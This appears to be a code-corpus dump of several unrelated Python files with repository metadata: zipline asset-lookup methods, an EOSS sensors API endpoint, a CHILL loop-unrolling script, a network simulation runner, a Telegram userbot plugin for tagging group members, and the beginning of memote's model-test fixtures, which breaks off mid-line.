self.retrieve_asset(owners[0].sid) options = [] for _, _, sid, sym in owners: if sym == symbol: # there are multiple options, look for exact matches options.append(self.retrieve_asset(sid)) if len(options) == 1: # there was only one exact match return options[0] # there are more than one exact match for this fuzzy symbol raise MultipleSymbolsFound( symbol=symbol, options=set(options), ) options = {} for start, end, sid, sym in owners: if start <= as_of_date < end: # see which fuzzy symbols were owned on the asof date. options[sid] = sym if not options: # no equity owned the fuzzy symbol on the date requested raise SymbolNotFound(symbol=symbol) sid_keys = list(options.keys()) # If there was only one owner, or there is a fuzzy and non-fuzzy which # map to the same sid, return it. if len(options) == 1: return self.retrieve_asset(sid_keys[0]) for sid, sym in options.items(): # Possible to have a scenario where multiple fuzzy matches have the # same date. Want to find the one where symbol and share class # match. if (company_symbol, share_class_symbol) == \ split_delimited_symbol(sym): return self.retrieve_asset(sid) # multiple equities held tickers matching the fuzzy ticker but # there are no exact matches raise MultipleSymbolsFound( symbol=symbol, options=[self.retrieve_asset(s) for s in sid_keys], ) def lookup_symbol(self, symbol, as_of_date, fuzzy=False): """Lookup an equity by symbol. Parameters ---------- symbol : str The ticker symbol to resolve. as_of_date : datetime or None Look up the last owner of this symbol as of this datetime. If ``as_of_date`` is None, then this can only resolve the equity if exactly one equity has ever owned the ticker. fuzzy : bool, optional Should fuzzy symbol matching be used? Fuzzy symbol matching attempts to resolve differences in representations for shareclasses. For example, some people may represent the ``A`` shareclass of ``BRK`` as ``BRK.A``, where others could write ``BRK_A``. Returns ------- equity : Equity The equity that held ``symbol`` on the given ``as_of_date``, or the only equity to hold ``symbol`` if ``as_of_date`` is None. Raises ------ SymbolNotFound Raised when no equity has ever held the given symbol. MultipleSymbolsFound Raised when no ``as_of_date`` is given and more than one equity has held ``symbol``. This is also raised when ``fuzzy=True`` and there are multiple candidates for the given ``symbol`` on the ``as_of_date``. """ if symbol is None: raise TypeError("Cannot lookup asset for symbol of None for " "as of date %s." % as_of_date) if fuzzy: return self._lookup_symbol_fuzzy(symbol, as_of_date) return self._lookup_symbol_strict(symbol, as_of_date) def lookup_symbols(self, symbols, as_of_date, fuzzy=False): """ Lookup a list of equities by symbol. Equivalent to:: [finder.lookup_symbol(s, as_of, fuzzy) for s in symbols] but potentially faster because repeated lookups are memoized. Parameters ---------- symbols : sequence[str] Sequence of ticker symbols to resolve. as_of_date : pd.Timestamp Forwarded to ``lookup_symbol``. fuzzy : bool, optional Forwarded to ``lookup_symbol``. Returns ------- equities : list[Equity] """ memo = {} out = [] append_output = out.append for sym in symbols: if sym in memo: append_output(memo[sym]) else: equity = memo[sym] = self.lookup_symbol(sym, as_of_date, fuzzy) append_output(equity) return out def lookup_future_symbol(self, symbol): """Lookup a future contract by symbol. Parameters ---------- symbol : str The symbol of the desired contract. Returns ------- future : Future The future contract referenced by ``symbol``. Raises ------ SymbolNotFound Raised when no contract named 'symbol' is found. """ data = self._select_asset_by_symbol(self.futures_contracts, symbol)\ .execute().fetchone() # If no data found, raise an exception if not data: raise SymbolNotFound(symbol=symbol) return self.retrieve_asset(data['sid']) def lookup_by_supplementary_field(self, field_name, value, as_of_date): try: owners = self.equity_supplementary_map[ field_name, value, ] assert owners, 'empty owners list for %r' % (field_name, value) except KeyError: # no equity has ever held this value raise ValueNotFoundForField(field=field_name, value=value) if not as_of_date: if len(owners) > 1: # more than one equity has held this value, this is ambigious # without the date raise MultipleValuesFoundForField( field=field_name, value=value, options=set(map( compose(self.retrieve_asset, attrgetter('sid')), owners, )), ) # exactly one equity has ever held this value, we may resolve # without the date return self.retrieve_asset(owners[0].sid) for start, end, sid, _ in owners: if start <= as_of_date < end: # find the equity that owned it on the given asof date return self.retrieve_asset(sid) # no equity held the value on the given asof date raise ValueNotFoundForField(field=field_name, value=value) def get_supplementary_field( self, sid, field_name, as_of_date, ): """Get the value of a supplementary field for an asset. Parameters ---------- sid : int The sid of the asset to query. field_name : str Name of the supplementary field. as_of_date : pd.Timestamp, None The last known value on this date is returned. If None, a value is returned only if we've only ever had one value for this sid. If None and we've had multiple values, MultipleValuesFoundForSid is raised. Raises ------ NoValueForSid If we have no values for this asset, or no values was known on this as_of_date. MultipleValuesFoundForSid If we have had multiple values for this asset over time, and None was passed for as_of_date. """ try: periods = self.equity_supplementary_map_by_sid[ field_name, sid, ] assert periods, 'empty periods list for %r' % (field_name, sid) except KeyError: raise NoValueForSid(field=field_name, sid=sid) if not as_of_date: if len(periods) > 1: # This equity has held more than one value, this is ambigious # without the date raise MultipleValuesFoundForSid( field=field_name, sid=sid, options={p.value for p in periods}, ) # this equity has only ever held this value, we may resolve # without the date return periods[0].value for start, end, _, value in periods: if start <= as_of_date < end: return value # Could not find a value for this sid on the as_of_date. raise NoValueForSid(field=field_name, sid=sid) def _get_contract_sids(self, root_symbol): fc_cols = self.futures_contracts.c return [r.sid for r in list(sa.select((fc_cols.sid,)).where( (fc_cols.root_symbol == root_symbol) & (fc_cols.start_date != pd.NaT.value)).order_by( fc_cols.sid).execute().fetchall())] def _get_root_symbol_exchange(self, root_symbol): fc_cols = self.futures_root_symbols.c fields = (fc_cols.exchange,) exchange = sa.select(fields).where( fc_cols.root_symbol == root_symbol).execute().scalar() if exchange is not None: return exchange else: raise SymbolNotFound(symbol=root_symbol) def get_ordered_contracts(self, root_symbol): try: return self._ordered_contracts[root_symbol] except KeyError: contract_sids = self._get_contract_sids(root_symbol) contracts = deque(self.retrieve_all(contract_sids)) chain_predicate = self._future_chain_predicates.get(root_symbol, None) oc = OrderedContracts(root_symbol, contracts, chain_predicate) self._ordered_contracts[root_symbol] = oc return oc def create_continuous_future(self, root_symbol, offset, roll_style, adjustment): if adjustment not in ADJUSTMENT_STYLES: raise ValueError( 'Invalid adjustment style {!r}. Allowed adjustment styles are ' '{}.'.format(adjustment, list(ADJUSTMENT_STYLES)) ) oc = self.get_ordered_contracts(root_symbol) exchange = self._get_root_symbol_exchange(root_symbol) sid = _encode_continuous_future_sid(root_symbol, offset, roll_style, None) mul_sid = _encode_continuous_future_sid(root_symbol, offset, roll_style, 'div') add_sid = _encode_continuous_future_sid(root_symbol, offset, roll_style, 'add') cf_template = partial( ContinuousFuture, root_symbol=root_symbol, offset=offset, roll_style=roll_style, start_date=oc.start_date, end_date=oc.end_date, exchange=exchange, ) cf = cf_template(sid=sid) mul_cf = cf_template(sid=mul_sid, adjustment='mul') add_cf = cf_template(sid=add_sid, adjustment='add') self._asset_cache[cf.sid] = cf self._asset_cache[mul_cf.sid] = mul_cf self._asset_cache[add_cf.sid] = add_cf return {None: cf, 'mul': mul_cf, 'add': add_cf}[adjustment] def _make_sids(tblattr): def _(self): return tuple(map( itemgetter('sid'), sa.select(( getattr(self, tblattr).c.sid, )).execute().fetchall(), )) return _ sids = property( _make_sids('asset_router'), doc='All the sids in the asset finder.', ) equities_sids = property( _make_sids('equities'), doc='All of the sids for equities in the asset finder.', ) futures_sids = property( _make_sids('futures_contracts'), doc='All of the sids for futures consracts in the asset finder.', ) del _make_sids @lazyval def _symbol_lookups(self): """ An iterable of symbol lookup functions to use with ``lookup_generic`` Attempts equities lookup, then futures. """ return ( self.lookup_symbol, # lookup_future_symbol method does not use as_of date, since # symbols are unique. # # Wrap the function in a lambda so that both methods share a # signature, so that when the functions are iterated over # the consumer can use the same arguments with both methods. lambda symbol, _: self.lookup_future_symbol(symbol) ) def _lookup_generic_scalar(self, asset_convertible, as_of_date, matches, missing): """ Convert asset_convertible to an asset. On success, append to matches. On failure, append to missing. """ if isinstance(asset_convertible, Asset): matches.append(asset_convertible) elif isinstance(asset_convertible, Integral): try: result = self.retrieve_asset(int(asset_convertible)) except SidsNotFound: missing.append(asset_convertible) return None matches.append(result) elif isinstance(asset_convertible, string_types): for lookup in self._symbol_lookups: try: matches.append(lookup(asset_convertible, as_of_date)) return except SymbolNotFound: continue else: missing.append(asset_convertible) return None else: raise NotAssetConvertible( "Input was %s, not AssetConvertible." % asset_convertible ) def lookup_generic(self, asset_convertible_or_iterable, as_of_date): """ Convert a AssetConvertible or iterable of AssetConvertibles into a list of Asset objects. This method exists primarily as a convenience for implementing user-facing APIs that can handle multiple kinds of input. It should not be used for internal code where we already know the expected types of our inputs. Returns a pair of objects, the first of which is the result of the conversion, and the second of which is a list containing any values that couldn't be resolved. """ matches = [] missing = [] # Interpret input as scalar. if isinstance(asset_convertible_or_iterable, AssetConvertible): self._lookup_generic_scalar( asset_convertible=asset_convertible_or_iterable, as_of_date=as_of_date, matches=matches, missing=missing, ) try: return matches[0], missing except IndexError: if hasattr(asset_convertible_or_iterable, '__int__'): raise SidsNotFound(sids=[asset_convertible_or_iterable]) else: raise SymbolNotFound(symbol=asset_convertible_or_iterable) # If the input is a ContinuousFuture just return it as-is. elif isinstance(asset_convertible_or_iterable, ContinuousFuture): return asset_convertible_or_iterable, missing # Interpret input as iterable. try: iterator = iter(asset_convertible_or_iterable) except TypeError: raise NotAssetConvertible( "Input was not a AssetConvertible " "or iterable of AssetConvertible." ) for obj in iterator: if isinstance(obj, ContinuousFuture): matches.append(obj) else: self._lookup_generic_scalar(obj, as_of_date, matches, missing) return matches, missing def map_identifier_index_to_sids(self, index, as_of_date): """ This method is for use in sanitizing a user's DataFrame or Panel inputs. Takes the given index of identifiers, checks their types, builds assets if necessary, and returns a list of the sids that correspond to the input index. Parameters ---------- index : Iterable An iterable containing ints, strings, or Assets as_of_date : pandas.Timestamp A date to be used to resolve any dual-mapped symbols Returns ------- List A list of integer sids corresponding to the input index """ # This method assumes that the type of the objects in the index is # consistent and can, therefore, be taken from the first identifier first_identifier = index[0] # Ensure that input is AssetConvertible (integer, string, or Asset) if not isinstance(first_identifier, AssetConvertible): raise MapAssetIdentifierIndexError(obj=first_identifier) # If sids are provided, no mapping is necessary if isinstance(first_identifier, Integral): return index # Look up all Assets for mapping matches = [] missing = [] for identifier in index: self._lookup_generic_scalar(identifier, as_of_date, matches, missing) if missing: raise ValueError("Missing assets for identifiers: %s" % missing) # Return a list of the sids of the found assets return [asset.sid for asset in matches] def _compute_asset_lifetimes(self): """ Compute and cache a recarry of asset lifetimes. """ equities_cols = self.equities.c buf = np.array( tuple( sa.select(( equities_cols.sid, equities_cols.start_date, equities_cols.end_date, )).execute(), ), dtype='<f8', # use doubles so we get NaNs ) lifetimes = np.recarray( buf=buf, shape=(len(buf),), dtype=[ ('sid', '<f8'), ('start', '<f8'), ('end', '<f8') ], ) start = lifetimes.start end = lifetimes.end start[np.isnan(start)] = 0 # convert missing starts to 0 end[np.isnan(end)] = np.iinfo(int).max # convert missing end to INTMAX # Cast the results back down to int. return lifetimes.astype([ ('sid', '<i8'), ('start', '<i8'), ('end', '<i8'), ]) def lifetimes(self, dates, include_start_date): """ Compute a DataFrame representing asset lifetimes for the specified date range. Parameters ---------- dates : pd.DatetimeIndex The dates for which to compute lifetimes. include_start_date : bool Whether or not to count the asset as alive on its start_date. This is useful in a backtesting context where `lifetimes` is being used to signify "do I have data for this asset as of the morning of this date?" For many financial metrics, (e.g. daily close), data isn't available for an asset until the end of the asset's first day. Returns ------- lifetimes : pd.DataFrame A frame of dtype bool with `dates` as index and an Int64Index of assets as columns. The value at `lifetimes.loc[date, asset]` will be True iff `asset` existed on `date`. If `include_start_date` is False, then lifetimes.loc[date, asset] will be false when date == asset.start_date. See Also -------- numpy.putmask zipline.pipeline.engine.SimplePipelineEngine._compute_root_mask """ # This is a less than ideal place to do this, because if someone adds # assets to the finder after we've touched lifetimes we won't have # those new assets available. Mutability is not my favorite # programming feature. if self._asset_lifetimes is None: self._asset_lifetimes = self._compute_asset_lifetimes() lifetimes = self._asset_lifetimes raw_dates = as_column(dates.asi8) if include_start_date: mask = lifetimes.start <= raw_dates else: mask = lifetimes.start < raw_dates mask &= (raw_dates <= lifetimes.end) return pd.DataFrame(mask, index=dates, columns=lifetimes.sid) class AssetConvertible(with_metaclass(ABCMeta)): """ ABC for types that are convertible to integer-representations of Assets. Includes Asset, six.string_types, and Integral """ pass AssetConvertible.register(Integral) AssetConvertible.register(Asset) # Use six.string_types for Python2/3 compatibility for _type in string_types: AssetConvertible.register(_type) class NotAssetConvertible(ValueError): pass class PricingDataAssociable(with_metaclass(ABCMeta)): """ ABC for types that can be associated with pricing data. Includes Asset, Future, ContinuousFuture """ pass PricingDataAssociable.register(Asset) PricingDataAssociable.register(Future) PricingDataAssociable.register(ContinuousFuture) def was_active(reference_date_value, asset): """ Whether or not `asset` was active at the time corresponding to `reference_date_value`. Parameters ---------- reference_date_value : int Date, represented as nanoseconds since EPOCH, for which we want to know if `asset` was alive. This is generally the result of accessing the `value` attribute of a pandas Timestamp. asset : Asset The asset object to check. Returns ------- was_active : bool Whether or not the `asset` existed at the specified time. """ return ( asset.start_date.value <= reference_date_value <= asset.end_date.value ) def only_active_assets(reference_date_value, assets): """ Filter an iterable of Asset objects down to just assets that were alive at the time corresponding to `reference_date_value`. Parameters ---------- reference_date_value : int Date, represented as nanoseconds since EPOCH, for which we want to know if `asset` was alive. This is generally the result of accessing the `value` attribute of a pandas Timestamp. assets : iterable[Asset] The assets to filter. Returns ------- active_assets : list List of the active assets from `assets` on the requested date. """ return [a for a in assets if was_active(reference_date_value, a)]

33.08662

79

0.584701

ace8d0489e59bc8af8aad1550f95b3ae46ae7079

2,292

py

Python

catalog/client/services/sensors.py

eoss-cloud/madxxx_catalog_api

ef37374a36129de4f0a6fe5dd46b5bc2e2f01d1d

[ "MIT" ]

null

catalog/client/services/sensors.py

eoss-cloud/madxxx_catalog_api

ef37374a36129de4f0a6fe5dd46b5bc2e2f01d1d

[ "MIT" ]

null

catalog/client/services/sensors.py

eoss-cloud/madxxx_catalog_api

ef37374a36129de4f0a6fe5dd46b5bc2e2f01d1d

[ "MIT" ]

null

#-*- coding: utf-8 -*- """ EOSS catalog system functionality for the sensors endpoint """ __author__ = "Thilo Wehrmann, Steffen Gebhardt" __copyright__ = "Copyright 2016, EOSS GmbH" __credits__ = ["Thilo Wehrmann", "Steffen Gebhardt"] __license__ = "GPL" __version__ = "1.0.0" __maintainer__ = "Thilo Wehrmann" __email__ = "twehrmann@eoss.cloud" __status__ = "Production" import ujson import logging import falcon from api import General_Structure from client.services.root_service import struct from api_logging import logger from .db_calls import Persistance from .tools import can_zip_response, compress_body class Sensors: def __init__(self): self.logger = logging.getLogger('eoss.' + __name__) self.default_status = falcon.HTTP_200 self.default_content_type = 'application/json' self.headers = {'api-version': struct['version'], 'Content-Type': self.default_content_type} def on_get(self, req, resp, group=None): """Handles GET requests http://localhost:8000/sensors http://localhost:8000/sensors/platform (sensor_level, mission, platform) """ if group: logger.info('[GET] /sensors/%s' % group) else: logger.info('[GET] /sensors/') for key, value in self.headers.iteritems(): resp.set_header(key, value) # set default group to sensor_level if not group: group = 'sensor_level' results = list() for counter, result in enumerate(Persistance().get_sensors(group)): values = {'sensor_name': result[1], 'proc_level': result[2], 'id': counter, 'label': '%s' % result[0], 'type': group} types = {'sensor_name': str, 'proc_level': str, 'id': int, 'label': str, 'type': str} x = General_Structure(values, types) x.__class__.__name__ = 'Sensor' results.append(x.__dict__) if len(results) == 0: raise falcon.HTTPNotFound() resp.status = self.default_status if can_zip_response(req.headers): resp.set_header('Content-Encoding', 'gzip') resp.body = compress_body(ujson.dumps(results)) else: resp.body = ujson.dumps(results)

32.28169

97

0.628709

ace8d0ad7c0cbd9cd70601331cd61e119571c10f

313

py

Python

chill/examples/chill/testcases/trmm.py

CompOpt4Apps/Artifact-DataDepSimplify

4fa1bf2bda2902fec50a54ee79ae405a554fc9f4

[ "MIT" ]

5

2019-05-20T03:35:41.000Z

2021-09-16T22:22:13.000Z

chill/examples/chill/testcases/trmm.py

CompOpt4Apps/Artifact-DataDepSimplify

4fa1bf2bda2902fec50a54ee79ae405a554fc9f4

[ "MIT" ]

null

chill/examples/chill/testcases/trmm.py

CompOpt4Apps/Artifact-DataDepSimplify

4fa1bf2bda2902fec50a54ee79ae405a554fc9f4

[ "MIT" ]

null

# Unroll-and-jam nonrectangular loop nest using example of triangular # matrix multiply. Compare with paper "Register Tiling in # Nonrectangular Iteration Spaces" by Jimenez et al, TOPLAS 2002. from chill import * source('trmm.c') procedure('trmm') loop(0) original() unroll(0,2,2) unroll(0,3,2) print_code()

19.5625

69

0.753994

ace8d1acd30fe2c667d13d8e619abbe2fe18ce00

512

py

Python

lab2/part2/simulationrun.py

vtaxiarchis/distributed_systems_advanced

3bbf6e2b45af1cc535ca08caf61d8031ba644aae

[ "MIT" ]

null

lab2/part2/simulationrun.py

vtaxiarchis/distributed_systems_advanced

3bbf6e2b45af1cc535ca08caf61d8031ba644aae

[ "MIT" ]

null

lab2/part2/simulationrun.py

vtaxiarchis/distributed_systems_advanced

3bbf6e2b45af1cc535ca08caf61d8031ba644aae

[ "MIT" ]

null

#!/bin/pyton import random import sys millisecond = 10000000 def special(): return True def run(argv,t,r,n,gain): if len(argv) <= 2: seconds = 40 else: seconds = int(sys.argv[2]) for i in range(0,n): t.getNode(i).bootAtTime(random.randint(0,1*millisecond)) print "Running for", seconds, "seconds:", seconds * 10000000000 t.runNextEvent() time = t.time() while (time + seconds * 1000 * millisecond > t.time()): #print "ping" t.runNextEvent()

20.48

67

0.607422

ace8d1c126be998be318caa96811b8e3535c2584

4,968

py

Python

userbot/modules/tag_all.py

SharingUserbot/Man-Userbot

6d8ec13a1639d3f0bf641522f8226afccf1c12b8

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

userbot/modules/tag_all.py

SharingUserbot/Man-Userbot

6d8ec13a1639d3f0bf641522f8226afccf1c12b8

[ "Naumen", "Condor-1.1", "MS-PL" ]

null

userbot/modules/tag_all.py

SharingUserbot/Man-Userbot

6d8ec13a1639d3f0bf641522f8226afccf1c12b8

[ "Naumen", "Condor-1.1", "MS-PL" ]

1

2022-03-10T13:22:19.000Z

# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # # ReCode by @mrismanaziz # FROM Man-Userbot <https://github.com/mrismanaziz/Man-Userbot> # t.me/SharingUserbot & t.me/Lunatic0de import asyncio import random import re from userbot import CMD_HANDLER as cmd from userbot import CMD_HELP, bot from userbot.events import man_cmd usernexp = re.compile(r"@(\w{3,32})\[(.+?)\]") nameexp = re.compile(r"\[([\w\S]+)\]$tg://user\?id=(\d+)$\[(.+?)\]") emoji = "😀 😃 😄 😁 😆 😅 😂 🤣 😭 😗 😙 😚 😘 🥰 😍 🤩 🥳 🤗 🙃 🙂 ☺️ 😊 😏 😌 😉 🤭 😶 😐 😑 😔 😋 😛 😝 😜 🤪 🤔 🤨 🧐 🙄 😒 😤 😠 🤬 ☹️ 🙁 😕 😟 🥺 😳 😬 🤐 🤫 😰 😨 😧 😦 😮 😯 😲 😱 🤯 😢 😥 😓 😞 😖 😣 😩 😫 🤤 🥱 😴 😪 🌛 🌜 🌚 🌝 🎲 🧩 ♟ 🎯 🎳 🎭💕 💞 💓 💗 💖 ❤️‍🔥 💔 🤎 🤍 🖤 ❤️ 🧡 💛 💚 💙 💜 💘 💝 🐵 🦁 🐯 🐱 🐶 🐺 🐻 🐨 🐼 🐹 🐭 🐰 🦊 🦝 🐮 🐷 🐽 🐗 🦓 🦄 🐴 🐸 🐲 🦎 🐉 🦖 🦕 🐢 🐊 🐍 🐁 🐀 🐇 🐈 🐩 🐕 🦮 🐕‍🦺 🐅 🐆 🐎 🐖 🐄 🐂 🐃 🐏 🐑 🐐 🦌 🦙 🦥 🦘 🐘 🦏 🦛 🦒 🐒 🦍 🦧 🐪 🐫 🐿️ 🦨 🦡 🦔 🦦 🦇 🐓 🐔 🐣 🐤 🐥 🐦 🦉 🦅 🦜 🕊️ 🦢 🦩 🦚 🦃 🦆 🐧 🦈 🐬 🐋 🐳 🐟 🐠 🐡 🦐 🦞 🦀 🦑 🐙 🦪 🦂 🕷️ 🦋 🐞 🐝 🦟 🦗 🐜 🐌 🐚 🕸️ 🐛 🐾 🌞 🤢 🤮 🤧 🤒 🍓 🍒 🍎 🍉 🍑 🍊 🥭 🍍 🍌 🌶 🍇 🥝 🍐 🍏 🍈 🍋 🍄 🥕 🍠 🧅 🌽 🥦 🥒 🥬 🥑 🥯 🥖 🥐 🍞 🥜 🌰 🥔 🧄 🍆 🧇 🥞 🥚 🧀 🥓 🥩 🍗 🍖 🥙 🌯 🌮 🍕 🍟 🥨 🥪 🌭 🍔 🧆 🥘 🍝 🥫 🥣 🥗 🍲 🍛 🍜 🍢 🥟 🍱 🍚 🥡 🍤 🍣 🦞 🦪 🍘 🍡 🥠 🥮 🍧 🍨".split( " " ) class FlagContainer: is_active = False @bot.on(man_cmd(outgoing=True, pattern=r"mention(?: |$)(.*)")) async def _(event): if event.fwd_from: return await event.delete() query = event.pattern_match.group(1) mentions = f"@all {query}" chat = await event.get_input_chat() async for x in bot.iter_participants(chat, 100500): mentions += f"[\u2063](tg://user?id={x.id} {query})" await bot.send_message(chat, mentions, reply_to=event.message.reply_to_msg_id) @bot.on(man_cmd(outgoing=True, pattern=r"emojitag(?: |$)(.*)")) async def _(event): if event.fwd_from or FlagContainer.is_active: return try: FlagContainer.is_active = True text = None args = event.message.text.split(" ", 1) if len(args) > 1: text = args[1] chat = await event.get_input_chat() await event.delete() tags = list( map( lambda m: f"[{random.choice(emoji)}](tg://user?id={m.id})", await event.client.get_participants(chat), ), ) current_pack = [] async for participant in event.client.iter_participants(chat): if not FlagContainer.is_active: break current_pack.append(participant) if len(current_pack) == 5: tags = list( map( lambda m: f"[{random.choice(emoji)}](tg://user?id={m.id})", current_pack, ), ) current_pack = [] if text: tags.append(text) await event.client.send_message(event.chat_id, " ".join(tags)) await asyncio.sleep(2) finally: FlagContainer.is_active = False @bot.on(man_cmd(outgoing=True, pattern=r"all(?: |$)(.*)")) async def _(event): if event.fwd_from or FlagContainer.is_active: return try: FlagContainer.is_active = True text = None args = event.message.text.split(" ", 1) if len(args) > 1: text = args[1] chat = await event.get_input_chat() await event.delete() tags = list( map( lambda m: f"[{m.first_name}](tg://user?id={m.id})", await event.client.get_participants(chat), ), ) jumlah = [] async for participant in event.client.iter_participants(chat): if not FlagContainer.is_active: break jumlah.append(participant) if len(jumlah) == 5: tags = list( map( lambda m: f"[{m.first_name}](tg://user?id={m.id})", jumlah, ), ) jumlah = [] if text: tags.append(text) await event.client.send_message(event.chat_id, " ".join(tags)) await asyncio.sleep(2) finally: FlagContainer.is_active = False CMD_HELP.update( { "tag": f"**Plugin : **`tag`\ \n\n • **Syntax :** `{cmd}mention`\ \n • **Function : **Untuk Menmention semua anggota yang ada di group tanpa menyebut namanya.\ \n\n • **Syntax :** `{cmd}all` <text>\ \n • **Function : **Untuk Mengetag semua anggota Maksimal 3.000 orang yg akan ditag di grup untuk mengurangi flood wait telegram.\ \n\n • **Syntax :** `{cmd}emojitag` <text>\ \n • **Function : **Untuk Mengetag semua anggota di grup dengan random emoji berbeda.\ \n\n • **NOTE :** Untuk Memberhentikan Tag ketik `.restart`\ " } )

34.027397

607

0.47504

ace8d22bce0aca426103ab422fe556a77501a0c9

33,087

py

Python

tests/test_for_support/test_for_basic.py

matthiaskoenig/memote

7c14cd304523dda83eaf4835ee007243e8673f85

[ "Apache-2.0" ]

null

tests/test_for_support/test_for_basic.py

matthiaskoenig/memote

7c14cd304523dda83eaf4835ee007243e8673f85

[ "Apache-2.0" ]

null

tests/test_for_support/test_for_basic.py

matthiaskoenig/memote

7c14cd304523dda83eaf4835ee007243e8673f85

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # Copyright 2016 Novo Nordisk Foundation Center for Biosustainability, # Technical University of Denmark. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Ensure the expected functioning of ``memote.support.basic``.""" from __future__ import absolute_import import cobra import pytest import memote.support.basic as basic import memote.support.helpers as helpers from memote.utils import register_with MODEL_REGISTRY = dict() @register_with(MODEL_REGISTRY) def three_missing(base): base.add_metabolites([cobra.Metabolite(id="M{0:d}".format(i)) for i in range(1, 4)]) return base @register_with(MODEL_REGISTRY) def three_present(base): base.add_metabolites( [cobra.Metabolite(id="M{0:d}".format(i), formula="CH4", charge=-1) for i in range(1, 4)] ) return base @register_with(MODEL_REGISTRY) def gpr_present(base): """Provide a model with reactions that all have GPR""" rxn_1 = cobra.Reaction("RXN1") rxn_1.gene_reaction_rule = 'gene1 or gene2' met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def gpr_present_complex(base): """Provide a model with reactions that all have GPR""" rxn_1 = cobra.Reaction("RXN1") rxn_1.gene_reaction_rule = 'gene1 and gene2' rxn_2 = cobra.Reaction("RXN2") rxn_2.gene_reaction_rule = '(gene4 and gene7) or ' \ '(gene9 and (gene10 or gene14))' rxn_3 = cobra.Reaction("RXN3") rxn_3.gene_reaction_rule = 'gene1 and gene2' base.add_reactions([rxn_1, rxn_2, rxn_3]) return base @register_with(MODEL_REGISTRY) def gpr_missing(base): """Provide a model reactions that lack GPR""" rxn_1 = cobra.Reaction("RXN1") met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def gpr_missing_with_exchange(base): """Provide a model reactions that lack GPR""" rxn_1 = cobra.Reaction("RXN1") met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_2 = cobra.Reaction("EX_met1_c") met_1 = cobra.Metabolite("met1") rxn_2.add_metabolites({met_1: 1}) base.add_reactions([rxn_1, rxn_2]) return base @register_with(MODEL_REGISTRY) def gpr_present_not_lumped(base): """Provide a model with reactions that all have GPR""" rxn_1 = cobra.Reaction("RXN1") rxn_1.gene_reaction_rule = 'gene1' met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def unconstrained_rxn(base): """Provide a model with one unconstrained reaction""" rxn_1 = cobra.Reaction("RXN1") met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_1.bounds = -1000, 1000 base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def irreversible_rxn(base): """Provide a model with one irreversible reaction""" rxn_1 = cobra.Reaction("RXN1") met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_1.bounds = 0, 1000 base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def zero_constrained_rxn(base): """Provide a model with one zero-constrained reaction""" rxn_1 = cobra.Reaction("RXN1") met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_1.bounds = 0, 0 base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def nonzero_constrained_rxn(base): """Provide a model with one nonzero-constrained reaction""" met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") met_3 = cobra.Metabolite("met3") met_4 = cobra.Metabolite("met4") rxn_1 = cobra.Reaction("RXN1") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_2 = cobra.Reaction("RXN2") rxn_2.add_metabolites({met_2: -1, met_3: -1}) rxn_3 = cobra.Reaction("RXN3") rxn_3.add_metabolites({met_3: -1, met_4: 1}) rxn_1.bounds = -1000, 1000 rxn_2.bounds = -1000, 1000 rxn_3.bounds = 0, 10 base.add_reactions([rxn_1, rxn_2, rxn_3]) return base @register_with(MODEL_REGISTRY) def no_nonzero_constrained_rxn(base): """Provide a model with no nonzero-constrained reactions""" met_1 = cobra.Metabolite("met1") met_2 = cobra.Metabolite("met2") met_3 = cobra.Metabolite("met3") met_4 = cobra.Metabolite("met4") rxn_1 = cobra.Reaction("RXN1") rxn_1.add_metabolites({met_1: 1, met_2: -1}) rxn_2 = cobra.Reaction("RXN2") rxn_2.add_metabolites({met_2: -1, met_3: -1}) rxn_3 = cobra.Reaction("RXN3") rxn_3.add_metabolites({met_3: -1, met_4: 1}) rxn_1.bounds = -1000, 1000 rxn_2.bounds = -1000, 1000 rxn_3.bounds = 0, 1000 base.add_reactions([rxn_1, rxn_2, rxn_3]) return base @register_with(MODEL_REGISTRY) def ngam_present(base): """Provide a model with a correct NGAM reaction""" met_g = cobra.Metabolite("atp_c", "C10H12N5O13P3", compartment="c") met_h = cobra.Metabolite("adp_c", "C10H12N5O10P2", compartment="c") met_i = cobra.Metabolite("h_c", "H", compartment="c") met_j = cobra.Metabolite("h2o_c", "H2O", compartment="c") met_k = cobra.Metabolite("pi_c", "HO4P", compartment="c") rxn_1 = cobra.Reaction("ATPM", name="non-growth associated maintenance") rxn_1.add_metabolites({met_g: -1, met_h: 1, met_i: 1, met_j: -1, met_k: 1}) rxn_1.lower_bound = 8.39 base.add_reactions([rxn_1]) return base @register_with(MODEL_REGISTRY) def ngam_and_atpsynthase(base): """Provide a model with an ATP hydrolysis and an NGAM reaction""" met_g = cobra.Metabolite("atp_c", "C10H12N5O13P3", compartment="c") met_h = cobra.Metabolite("adp_c", "C10H12N5O10P2", compartment="c") met_i = 